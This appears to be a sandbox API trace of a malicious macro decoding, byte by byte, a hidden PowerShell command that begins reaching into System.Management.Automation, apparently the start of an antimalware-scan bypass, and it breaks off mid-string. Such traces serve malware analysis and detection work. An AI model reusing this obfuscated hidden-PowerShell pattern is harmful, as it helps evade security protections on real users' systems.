	[0077.300] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.Ge", bstrRight="t", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.300] VarBstrCat (in: bstrLeft="&H", bstrRight="71", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0077.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="q/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="T") returned 1
	[0077.300] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.Get", bstrRight="T", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.300] VarBstrCat (in: bstrLeft="&H", bstrRight="96", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="–") returned 1
	[0077.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="–", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x96/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0077.300] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetT", bstrRight="y", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.300] VarBstrCat (in: bstrLeft="&H", bstrRight="8D", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x8d") returned 1
	[0077.300] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x8d", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8d/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0077.301] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetTy", bstrRight="p", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.301] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.301] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetTyp", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.301] VarBstrCat (in: bstrLeft="&H", bstrRight="45", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="E") returned 1
	[0077.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="E", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="E/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="(") returned 1
	[0077.301] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType", bstrRight="(", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.301] VarBstrCat (in: bstrLeft="&H", bstrRight="44", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="D") returned 1
	[0077.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0077.301] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType(", bstrRight="'", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.302] VarBstrCat (in: bstrLeft="&H", bstrRight="70", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0077.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="p/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="S") returned 1
	[0077.302] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('", bstrRight="S", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.302] VarBstrCat (in: bstrLeft="&H", bstrRight="96", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="–") returned 1
	[0077.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="–", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x96/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="y") returned 1
	[0077.302] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('S", bstrRight="y", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.302] VarBstrCat (in: bstrLeft="&H", bstrRight="90", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="\x90") returned 1
	[0077.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x90", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x90/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0077.302] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('Sy", bstrRight="s", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.302] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‘") returned 1
	[0077.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‘", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x91/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0077.303] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('Sys", bstrRight="t", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.303] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.303] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('Syst", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.303] VarBstrCat (in: bstrLeft="&H", bstrRight="8A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="Š") returned 1
	[0077.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Š", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8a/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0077.303] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('Syste", bstrRight="m", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.303] VarBstrCat (in: bstrLeft="&H", bstrRight="4B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="K") returned 1
	[0077.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0077.304] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System", bstrRight=".", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.304] VarBstrCat (in: bstrLeft="&H", bstrRight="6A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="j") returned 1
	[0077.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="j/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="M") returned 1
	[0077.304] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.", bstrRight="M", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.304] VarBstrCat (in: bstrLeft="&H", bstrRight="7E", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="~") returned 1
	[0077.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0077.304] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.M", bstrRight="a", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.304] VarBstrCat (in: bstrLeft="&H", bstrRight="8B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‹") returned 1
	[0077.304] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‹", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8b/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.304] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0077.305] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Ma", bstrRight="n", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.305] VarBstrCat (in: bstrLeft="&H", bstrRight="7E", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="~") returned 1
	[0077.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0077.305] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Man", bstrRight="a", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.305] VarBstrCat (in: bstrLeft="&H", bstrRight="84", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="„") returned 1
	[0077.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="„", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x84/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="g") returned 1
	[0077.305] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Mana", bstrRight="g", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.305] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.305] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Manag", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.306] VarBstrCat (in: bstrLeft="&H", bstrRight="8A", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="Š") returned 1
	[0077.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Š", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8a/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0077.306] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Manage", bstrRight="m", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.306] VarBstrCat (in: bstrLeft="&H", bstrRight="82", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‚") returned 1
	[0077.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‚", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x82/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0077.306] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Managem", bstrRight="e", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.306] VarBstrCat (in: bstrLeft="&H", bstrRight="8B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‹") returned 1
	[0077.306] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‹", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x8b/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0077.306] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Manageme", bstrRight="n", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.306] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="‘") returned 1
	[0077.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="‘", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x91/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0077.307] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Managemen", bstrRight="t", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.307] VarBstrCat (in: bstrLeft="&H", bstrRight="4B", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="K") returned 1
	[0077.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="K", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="K/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr=".") returned 1
	[0077.307] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management", bstrRight=".", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.307] VarBstrCat (in: bstrLeft="&H", bstrRight="5E", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="^") returned 1
	[0077.307] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="^", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="^/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="A") returned 1
	[0077.307] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.", bstrRight="A", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.307] VarBstrCat (in: bstrLeft="&H", bstrRight="92", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
	[0077.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5182fdc, cchWideChar=1 | out: lpWideCharStr="’") returned 1
	[0077.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="’", cchWideChar=1, lpMultiByteStr=0x3cb93c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x92/\x18\x05T¹<", lpUsedDefaultChar=0x0) returned 1
	[0077.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3cb930, cbMultiByte=1, lpWideCharStr=0x5183004, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0077.308] VarBstrCat (in: bstrLeft="powershell.exe -WindowStyle Hidden -noprofile [Ref].Assembly.GetType('System.Management.A", bstrRight="u", pbstrResult=0x3cb91c | out: pbstrResult=0x3cb91c) returned 0x0
	[0077.308] VarBstrCat (in: bstrLeft="&H", bstrRight="91", pbstrResult=0x3cb918 | out: pbstrResult=0x3cb918) returned 0x0
